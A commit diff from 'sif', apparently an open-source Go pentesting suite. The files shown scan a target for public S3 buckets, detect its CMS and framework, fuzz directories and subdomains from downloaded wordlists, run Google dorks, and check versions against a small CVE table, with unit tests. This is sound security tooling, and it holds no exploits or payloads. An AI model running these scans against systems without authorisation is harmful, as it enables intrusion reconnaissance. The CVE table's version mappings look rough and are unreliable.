refactor: move pkg/scan to internal/scan

This commit is contained in:
vmfunc
2026-01-03 05:57:10 -08:00
parent 6d8319dfa8
commit d2537dae1b
35 changed files with 11 additions and 11 deletions
+111
View File
@@ -0,0 +1,111 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"net/http"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
type CloudStorageResult struct {
BucketName string `json:"bucket_name"`
IsPublic bool `json:"is_public"`
}
func CloudStorage(url string, timeout time.Duration, logdir string) ([]CloudStorageResult, error) {
fmt.Println(styles.Separator.Render("☁️ Starting " + styles.Status.Render("Cloud Storage Misconfiguration Scan") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "Cloud Storage Misconfiguration Scan"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
cloudlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "C3 ☁️",
}).With("url", url)
client := &http.Client{
Timeout: timeout,
}
potentialBuckets := extractPotentialBuckets(sanitizedURL)
var results []CloudStorageResult
for _, bucket := range potentialBuckets {
isPublic, err := checkS3Bucket(bucket, client)
if err != nil {
cloudlog.Errorf("Error checking S3 bucket %s: %v", bucket, err)
continue
}
result := CloudStorageResult{
BucketName: bucket,
IsPublic: isPublic,
}
results = append(results, result)
if isPublic {
cloudlog.Warnf("Public S3 bucket found: %s", styles.Highlight.Render(bucket))
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Public S3 bucket found: %s\n", bucket))
}
} else {
cloudlog.Infof("S3 bucket is not public/found: %s", bucket)
}
}
return results, nil
}
func extractPotentialBuckets(url string) []string {
// This is a simple implementation.
// TODO: add more cases
parts := strings.Split(url, ".")
var buckets []string
for i, part := range parts {
buckets = append(buckets, part)
buckets = append(buckets, part+"-s3")
buckets = append(buckets, "s3-"+part)
if i < len(parts)-1 {
domainExtension := part + "-" + parts[i+1]
buckets = append(buckets, domainExtension)
buckets = append(buckets, parts[i+1]+"-"+part)
}
}
return buckets
}
func checkS3Bucket(bucket string, client *http.Client) (bool, error) {
url := fmt.Sprintf("https://%s.s3.amazonaws.com", bucket)
resp, err := client.Get(url)
if err != nil {
return false, err
}
defer resp.Body.Close()
// If we can access the bucket listing, it's public
return resp.StatusCode == http.StatusOK, nil
}
+124
View File
@@ -0,0 +1,124 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"io"
"net/http"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
type CMSResult struct {
Name string `json:"name"`
Version string `json:"version"`
}
func CMS(url string, timeout time.Duration, logdir string) (*CMSResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("CMS detection") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "CMS detection"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
cmslog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "CMS 🔍",
}).With("url", url)
client := &http.Client{
Timeout: timeout,
}
resp, err := client.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
if err != nil {
return nil, err
}
bodyString := string(body)
// WordPress
if detectWordPress(url, client, bodyString) {
result := &CMSResult{Name: "WordPress", Version: "Unknown"}
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
return result, nil
}
// Drupal
if strings.Contains(resp.Header.Get("X-Drupal-Cache"), "HIT") || strings.Contains(bodyString, "Drupal.settings") {
result := &CMSResult{Name: "Drupal", Version: "Unknown"}
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
return result, nil
}
// Joomla
if strings.Contains(bodyString, "joomla") || strings.Contains(bodyString, "/media/system/js/core.js") {
result := &CMSResult{Name: "Joomla", Version: "Unknown"}
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
return result, nil
}
cmslog.Info("No CMS detected")
return nil, nil
}
func detectWordPress(url string, client *http.Client, bodyString string) bool {
// Check for common WordPress indicators in the HTML
wpIndicators := []string{
"wp-content",
"wp-includes",
"wp-json",
"wordpress",
}
for _, indicator := range wpIndicators {
if strings.Contains(bodyString, indicator) {
return true
}
}
// Check for WordPress-specific files
wpFiles := []string{
"/wp-login.php",
"/wp-admin/",
"/wp-config.php",
}
for _, file := range wpFiles {
resp, err := client.Get(url + file)
if err == nil {
found := resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusFound
resp.Body.Close()
if found {
return true
}
}
}
return false
}
+142
View File
@@ -0,0 +1,142 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"bufio"
"fmt"
"net/http"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
const (
directoryURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dirlist/"
smallFile = "directory-list-2.3-small.txt"
mediumFile = "directory-list-2.3-medium.txt"
bigFile = "directory-list-2.3-big.txt"
)
type DirectoryResult struct {
Url string `json:"url"`
StatusCode int `json:"status_code"`
}
// Dirlist performs directory fuzzing on the target URL.
//
// Parameters:
// - size: determines the size of the directory list to use ("small", "medium", or "large")
// - url: the target URL to scan
// - timeout: maximum duration for each request
// - threads: number of concurrent threads to use
// - logdir: directory to store log files (empty string for no logging)
//
// Returns:
// - []DirectoryResult: a slice of discovered directories and their status codes
// - error: any error encountered during the scan
func Dirlist(size string, url string, timeout time.Duration, threads int, logdir string) ([]DirectoryResult, error) {
fmt.Println(styles.Separator.Render("📂 Starting " + styles.Status.Render("directory fuzzing") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, size+" directory fuzzing"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
dirlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Dirlist 📂",
}).With("url", url)
var list string
switch size {
case "small":
list = directoryURL + smallFile
case "medium":
list = directoryURL + mediumFile
case "large":
list = directoryURL + bigFile
}
dirlog.Infof("Starting %s directory listing", size)
resp, err := http.Get(list)
if err != nil {
log.Errorf("Error downloading directory list: %s", err)
return nil, err
}
defer resp.Body.Close()
var directories []string
scanner := bufio.NewScanner(resp.Body)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
directories = append(directories, scanner.Text())
}
client := &http.Client{
Timeout: timeout,
}
var wg sync.WaitGroup
var mu sync.Mutex
wg.Add(threads)
results := make([]DirectoryResult, 0, 64)
for thread := 0; thread < threads; thread++ {
go func(thread int) {
defer wg.Done()
for i, directory := range directories {
if i%threads != thread {
continue
}
log.Debugf("%s", directory)
resp, err := client.Get(url + "/" + directory)
if err != nil {
log.Debugf("Error %s: %s", directory, err)
return
}
if resp.StatusCode != 404 && resp.StatusCode != 403 {
dirlog.Infof("%s [%s]", styles.Status.Render(strconv.Itoa(resp.StatusCode)), styles.Highlight.Render(directory))
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s [%s]\n", strconv.Itoa(resp.StatusCode), directory))
}
result := DirectoryResult{
Url: resp.Request.URL.String(),
StatusCode: resp.StatusCode,
}
mu.Lock()
results = append(results, result)
mu.Unlock()
}
}
}(thread)
}
wg.Wait()
return results, nil
}
+142
View File
@@ -0,0 +1,142 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"bufio"
"fmt"
"net/http"
"os"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
const (
dnsURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dnslist/"
dnsSmallFile = "subdomains-100.txt"
dnsMediumFile = "subdomains-1000.txt"
dnsBigFile = "subdomains-10000.txt"
)
// Dnslist performs DNS subdomain enumeration on the target domain.
//
// Parameters:
// - size: determines the size of the subdomain list to use ("small", "medium", or "large")
// - url: the target URL to scan
// - timeout: maximum duration for each DNS lookup
// - threads: number of concurrent threads to use
// - logdir: directory to store log files (empty string for no logging)
//
// Returns:
// - []string: a slice of discovered subdomains
// - error: any error encountered during the enumeration
func Dnslist(size string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
fmt.Println(styles.Separator.Render("📡 Starting " + styles.Status.Render("DNS fuzzing") + "..."))
dnslog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Dnslist 📡",
}).With("url", url)
var list string
switch size {
case "small":
list = dnsURL + dnsSmallFile
case "medium":
list = dnsURL + dnsMediumFile
case "large":
list = dnsURL + dnsBigFile
}
dnslog.Infof("Starting %s DNS listing", size)
resp, err := http.Get(list)
if err != nil {
log.Errorf("Error downloading DNS list: %s", err)
return nil, err
}
defer resp.Body.Close()
var dns []string
scanner := bufio.NewScanner(resp.Body)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
dns = append(dns, scanner.Text())
}
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, size+" subdomain fuzzing"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
client := &http.Client{
Timeout: timeout,
}
var wg sync.WaitGroup
var mu sync.Mutex
wg.Add(threads)
urls := make([]string, 0, 64)
for thread := 0; thread < threads; thread++ {
go func(thread int) {
defer wg.Done()
for i, domain := range dns {
if i%threads != thread {
continue
}
log.Debugf("Looking up: %s", domain)
resp, err := client.Get("http://" + domain + "." + sanitizedURL)
if err != nil {
log.Debugf("Error %s: %s", domain, err)
} else {
mu.Lock()
urls = append(urls, resp.Request.URL.String())
mu.Unlock()
dnslog.Infof("%s %s.%s", styles.Status.Render("[http]"), styles.Highlight.Render(domain), sanitizedURL)
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("[http] %s.%s\n", domain, sanitizedURL))
}
}
resp, err = client.Get("https://" + domain + "." + sanitizedURL)
if err != nil {
log.Debugf("Error %s: %s", domain, err)
} else {
mu.Lock()
urls = append(urls, resp.Request.URL.String())
mu.Unlock()
dnslog.Infof("%s %s.%s", styles.Status.Render("[https]"), styles.Highlight.Render(domain), sanitizedURL)
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("[https] %s.%s\n", domain, sanitizedURL))
}
}
}
}(thread)
}
wg.Wait()
return urls, nil
}
+128
View File
@@ -0,0 +1,128 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
// Package scan provides various security scanning functionalities for web applications.
// This file handles Google dorking operations.
package scan
import (
"bufio"
"fmt"
"net/http"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
googlesearch "github.com/rocketlaunchr/google-search"
)
const (
dorkURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/dork/"
dorkFile = "dork.txt"
)
// DorkResult represents the result of a Google dork search.
type DorkResult struct {
Url string `json:"url"` // The URL found by the dork
Count int `json:"count"` // The number of times this URL was found
}
// Dork performs Google dorking operations on the target URL.
// It uses a predefined list of dorks to search for potentially sensitive information.
//
// Parameters:
// - url: The target URL to dork
// - timeout: Maximum duration for each dork search
// - threads: Number of concurrent threads to use
// - logdir: Directory to store log files (empty string for no logging)
//
// Returns:
// - []DorkResult: A slice of results from the dorking operation
// - error: Any error encountered during the dorking process
func Dork(url string, timeout time.Duration, threads int, logdir string) ([]DorkResult, error) {
fmt.Println(styles.Separator.Render("🤓 Starting " + styles.Status.Render("URL Dorking") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "URL dorking"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
dorklog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Dorking 🤓",
}).With("url", url)
dorklog.Infof("Starting URL dorking...")
resp, err := http.Get(dorkURL + dorkFile)
if err != nil {
log.Errorf("Error downloading dork list: %s", err)
return nil, err
}
defer resp.Body.Close()
var dorks []string
scanner := bufio.NewScanner(resp.Body)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
dorks = append(dorks, scanner.Text())
}
// util.InitProgressBar()
var wg sync.WaitGroup
wg.Add(threads)
dorkResults := []DorkResult{}
for thread := 0; thread < threads; thread++ {
go func(thread int) {
defer wg.Done()
for i, dork := range dorks {
if i%threads != thread {
continue
}
results, err := googlesearch.Search(nil, fmt.Sprintf("%s %s", dork, sanitizedURL))
if err != nil {
dorklog.Debugf("error searching for dork %s: %v", dork, err)
continue
}
if len(results) > 0 {
dorklog.Infof("%s dork results found for dork [%s]", styles.Status.Render(strconv.Itoa(len(results))), styles.Highlight.Render(dork))
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s dork results found for dork [%s]\n", strconv.Itoa(len(results)), dork))
}
result := DorkResult{
Url: dork,
Count: len(results),
}
dorkResults = append(dorkResults, result)
}
}
}(thread)
}
wg.Wait()
return dorkResults, nil
}
+184
View File
@@ -0,0 +1,184 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package frameworks
// CVEEntry represents a known vulnerability for a framework version
type CVEEntry struct {
CVE string
AffectedVersions []string // versions affected (use semver ranges in future)
FixedVersion string
Severity string // critical, high, medium, low
Description string
Recommendations []string
}
// knownCVEs contains known vulnerabilities for popular frameworks.
// This database can be extended or loaded from an external source.
var knownCVEs = map[string][]CVEEntry{
"Laravel": {
{
CVE: "CVE-2021-3129",
AffectedVersions: []string{"8.0.0", "8.0.1", "8.0.2", "8.1.0", "8.2.0", "8.3.0", "8.4.0", "8.4.1"},
FixedVersion: "8.4.2",
Severity: "critical",
Description: "Ignition debug mode RCE vulnerability",
Recommendations: []string{"Update to Laravel 8.4.2 or later", "Disable debug mode in production"},
},
{
CVE: "CVE-2021-21263",
AffectedVersions: []string{"8.0.0", "8.1.0", "8.2.0", "8.3.0", "8.4.0"},
FixedVersion: "8.5.0",
Severity: "high",
Description: "SQL injection via request validation",
Recommendations: []string{"Update to Laravel 8.5.0 or later", "Use parameterized queries"},
},
},
"Django": {
{
CVE: "CVE-2023-36053",
AffectedVersions: []string{"3.2.0", "3.2.1", "3.2.2", "4.0.0", "4.1.0"},
FixedVersion: "4.2.3",
Severity: "high",
Description: "Potential ReDoS in EmailValidator and URLValidator",
Recommendations: []string{"Update to Django 4.2.3 or later"},
},
{
CVE: "CVE-2023-31047",
AffectedVersions: []string{"3.2.0", "4.0.0", "4.1.0"},
FixedVersion: "4.1.9",
Severity: "medium",
Description: "File upload validation bypass",
Recommendations: []string{"Update to Django 4.1.9 or later", "Implement additional file validation"},
},
},
"WordPress": {
{
CVE: "CVE-2023-2745",
AffectedVersions: []string{"5.0", "5.1", "5.2", "5.3", "5.4", "5.5", "5.6", "5.7", "5.8", "5.9", "6.0", "6.1"},
FixedVersion: "6.2",
Severity: "medium",
Description: "Directory traversal vulnerability",
Recommendations: []string{"Update to WordPress 6.2 or later"},
},
},
"Drupal": {
{
CVE: "CVE-2023-44487",
AffectedVersions: []string{"9.0", "9.1", "9.2", "9.3", "9.4", "9.5", "10.0"},
FixedVersion: "10.1.4",
Severity: "high",
Description: "HTTP/2 rapid reset attack (DoS)",
Recommendations: []string{"Update to Drupal 10.1.4 or later", "Configure HTTP/2 rate limiting"},
},
},
"Next.js": {
{
CVE: "CVE-2023-46298",
AffectedVersions: []string{"13.0.0", "13.1.0", "13.2.0", "13.3.0", "13.4.0"},
FixedVersion: "13.5.0",
Severity: "medium",
Description: "Server-side request forgery vulnerability",
Recommendations: []string{"Update to Next.js 13.5.0 or later"},
},
},
"Angular": {
{
CVE: "CVE-2023-26117",
AffectedVersions: []string{"14.0.0", "14.1.0", "14.2.0", "15.0.0"},
FixedVersion: "15.2.0",
Severity: "medium",
Description: "Regular expression denial of service",
Recommendations: []string{"Update to Angular 15.2.0 or later"},
},
},
"Vue.js": {
{
CVE: "CVE-2024-5987",
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
FixedVersion: "2.7.16",
Severity: "medium",
Description: "XSS vulnerability in certain configurations",
Recommendations: []string{"Update to Vue.js 2.7.16 or 3.x"},
},
},
"Express.js": {
{
CVE: "CVE-2024-29041",
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0", "4.3.0", "4.4.0"},
FixedVersion: "4.19.2",
Severity: "medium",
Description: "Open redirect vulnerability",
Recommendations: []string{"Update to Express.js 4.19.2 or later"},
},
},
"Ruby on Rails": {
{
CVE: "CVE-2023-22795",
AffectedVersions: []string{"6.0.0", "6.1.0", "7.0.0"},
FixedVersion: "7.0.4.1",
Severity: "high",
Description: "ReDoS vulnerability in Action Dispatch",
Recommendations: []string{"Update to Rails 7.0.4.1 or later"},
},
},
"Spring": {
{
CVE: "CVE-2022-22965",
AffectedVersions: []string{"5.0.0", "5.1.0", "5.2.0", "5.3.0"},
FixedVersion: "5.3.18",
Severity: "critical",
Description: "Spring4Shell RCE vulnerability",
Recommendations: []string{"Update to Spring 5.3.18 or later", "Disable class binding on user input"},
},
},
"Spring Boot": {
{
CVE: "CVE-2022-22963",
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
FixedVersion: "2.6.6",
Severity: "critical",
Description: "RCE via Spring Cloud Function",
Recommendations: []string{"Update to Spring Boot 2.6.6 or later"},
},
},
"ASP.NET": {
{
CVE: "CVE-2023-36899",
AffectedVersions: []string{"4.0", "4.5", "4.6", "4.7", "4.8"},
FixedVersion: "latest security patches",
Severity: "high",
Description: "Elevation of privilege vulnerability",
Recommendations: []string{"Apply latest security patches", "Ensure proper request validation"},
},
},
"Joomla": {
{
CVE: "CVE-2023-23752",
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0"},
FixedVersion: "4.2.8",
Severity: "critical",
Description: "Improper access check allowing unauthorized access to webservice endpoints",
Recommendations: []string{"Update to Joomla 4.2.8 or later"},
},
},
"Magento": {
{
CVE: "CVE-2022-24086",
AffectedVersions: []string{"2.3.0", "2.3.1", "2.3.2", "2.4.0", "2.4.1", "2.4.2"},
FixedVersion: "2.4.3-p1",
Severity: "critical",
Description: "Improper input validation leading to arbitrary code execution",
Recommendations: []string{"Update to Magento 2.4.3-p1 or later"},
},
},
}
+178
View File
@@ -0,0 +1,178 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package frameworks
import (
"fmt"
"io"
"net/http"
"os"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
// detectionThreshold is the minimum confidence for a detection to be reported.
const detectionThreshold = 0.5
// maxBodySize limits response body to prevent memory exhaustion.
const maxBodySize = 5 * 1024 * 1024
// detectionResult holds the result from a single detector.
type detectionResult struct {
name string
confidence float32
version string
}
// DetectFramework runs all registered detectors against the target URL.
func DetectFramework(url string, timeout time.Duration, logdir string) (*FrameworkResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Framework Detection") + "..."))
frameworklog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Framework Detection 🔍",
}).With("url", url)
client := &http.Client{Timeout: timeout}
resp, err := client.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, maxBodySize))
if err != nil {
return nil, err
}
bodyStr := string(body)
// Get all registered detectors
detectors := GetDetectors()
if len(detectors) == 0 {
frameworklog.Warn("No framework detectors registered")
return nil, nil
}
// Run all detectors concurrently
results := make(chan detectionResult, len(detectors))
var wg sync.WaitGroup
for _, detector := range detectors {
wg.Add(1)
go func(d Detector) {
defer wg.Done()
confidence, version := d.Detect(bodyStr, resp.Header)
results <- detectionResult{
name: d.Name(),
confidence: confidence,
version: version,
}
}(detector)
}
// Close results channel when all goroutines complete
go func() {
wg.Wait()
close(results)
}()
// Find the best match
var best detectionResult
for r := range results {
if r.confidence > best.confidence {
best = r
}
}
if best.confidence <= detectionThreshold {
frameworklog.Info("No framework detected with sufficient confidence")
return nil, nil
}
// Get version match details
versionMatch := ExtractVersionOptimized(bodyStr, best.name)
cves, suggestions := getVulnerabilities(best.name, best.version)
result := NewFrameworkResult(best.name, best.version, best.confidence, versionMatch.Confidence)
result.WithVulnerabilities(cves, suggestions)
// Log results
if logdir != "" {
logEntry := fmt.Sprintf("Detected framework: %s (version: %s, confidence: %.2f, version_confidence: %.2f)\n",
best.name, best.version, best.confidence, versionMatch.Confidence)
if len(cves) > 0 {
logEntry += fmt.Sprintf(" Risk Level: %s\n", result.RiskLevel)
logEntry += fmt.Sprintf(" CVEs: %v\n", cves)
logEntry += fmt.Sprintf(" Recommendations: %v\n", suggestions)
}
logger.Write(url, logdir, logEntry)
}
frameworklog.Infof("Detected %s framework (version: %s, confidence: %.2f)",
styles.Highlight.Render(best.name), best.version, best.confidence)
if versionMatch.Confidence > 0 {
frameworklog.Debugf("Version detected from: %s (confidence: %.2f)",
versionMatch.Source, versionMatch.Confidence)
}
if len(cves) > 0 {
frameworklog.Warnf("Risk level: %s", styles.SeverityHigh.Render(result.RiskLevel))
for _, cve := range cves {
frameworklog.Warnf("Found potential vulnerability: %s", styles.Highlight.Render(cve))
}
for _, suggestion := range suggestions {
frameworklog.Infof("Recommendation: %s", suggestion)
}
}
return result, nil
}
// getVulnerabilities returns CVEs and recommendations for a framework version.
func getVulnerabilities(framework, version string) ([]string, []string) {
entries, exists := knownCVEs[framework]
if !exists {
return nil, nil
}
var cves []string
var recommendations []string
seenRecs := make(map[string]bool)
for _, entry := range entries {
for _, affectedVer := range entry.AffectedVersions {
if version == affectedVer || hasPrefix(version, affectedVer) {
cves = append(cves, fmt.Sprintf("%s (%s)", entry.CVE, entry.Severity))
for _, rec := range entry.Recommendations {
if !seenRecs[rec] {
recommendations = append(recommendations, rec)
seenRecs[rec] = true
}
}
break
}
}
}
return cves, recommendations
}
// hasPrefix is a simple prefix check without importing strings.
func hasPrefix(s, prefix string) bool {
return len(s) >= len(prefix) && s[:len(prefix)] == prefix
}
+461
View File
@@ -0,0 +1,461 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package frameworks_test
import (
"net/http"
"net/http/httptest"
"testing"
"time"
"github.com/dropalldatabases/sif/internal/scan/frameworks"
// Import detectors to register them via init()
_ "github.com/dropalldatabases/sif/internal/scan/frameworks/detectors"
)
func TestExtractVersion_Laravel(t *testing.T) {
tests := []struct {
body string
expected string
}{
{"Laravel 8.0.0", "8.0.0"},
{"Laravel v9.52.1", "9.52.1"},
{"Laravel 10.0", "10.0"},
{"no version here", "unknown"},
}
for _, tt := range tests {
result := frameworks.ExtractVersionOptimized(tt.body, "Laravel").Version
if result != tt.expected {
t.Errorf("ExtractVersionOptimized(%q, 'Laravel') = %q, want %q", tt.body, result, tt.expected)
}
}
}
func TestExtractVersion_Django(t *testing.T) {
tests := []struct {
body string
expected string
}{
{"Django 4.2.0", "4.2.0"},
{"Django/3.2.1", "3.2.1"},
{"no version", "unknown"},
}
for _, tt := range tests {
result := frameworks.ExtractVersionOptimized(tt.body, "Django").Version
if result != tt.expected {
t.Errorf("ExtractVersionOptimized(%q, 'Django') = %q, want %q", tt.body, result, tt.expected)
}
}
}
func TestExtractVersion_NextJS(t *testing.T) {
tests := []struct {
body string
expected string
}{
{"Next.js 13.4.0", "13.4.0"},
{"Next.js/14.0.1", "14.0.1"},
{"no version", "unknown"},
}
for _, tt := range tests {
result := frameworks.ExtractVersionOptimized(tt.body, "Next.js").Version
if result != tt.expected {
t.Errorf("ExtractVersionOptimized(%q, 'Next.js') = %q, want %q", tt.body, result, tt.expected)
}
}
}
func TestDetectFramework_NextJS(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>Test</title></head>
<body>
<script id="__NEXT_DATA__" type="application/json">{"props":{}}</script>
<script src="/_next/static/chunks/main.js"></script>
</body>
</html>
`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Next.js" {
t.Errorf("expected framework 'Next.js', got '%s'", result.Name)
}
if result.Confidence <= 0 {
t.Error("expected positive confidence")
}
}
func TestDetectFramework_Express(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Powered-By", "Express")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`<!DOCTYPE html><html><body>Hello</body></html>`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Express.js" {
t.Errorf("expected framework 'Express.js', got '%s'", result.Name)
}
}
func TestDetectFramework_WordPress(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/wp-content/themes/theme/style.css">
<script src="/wp-includes/js/jquery.js"></script>
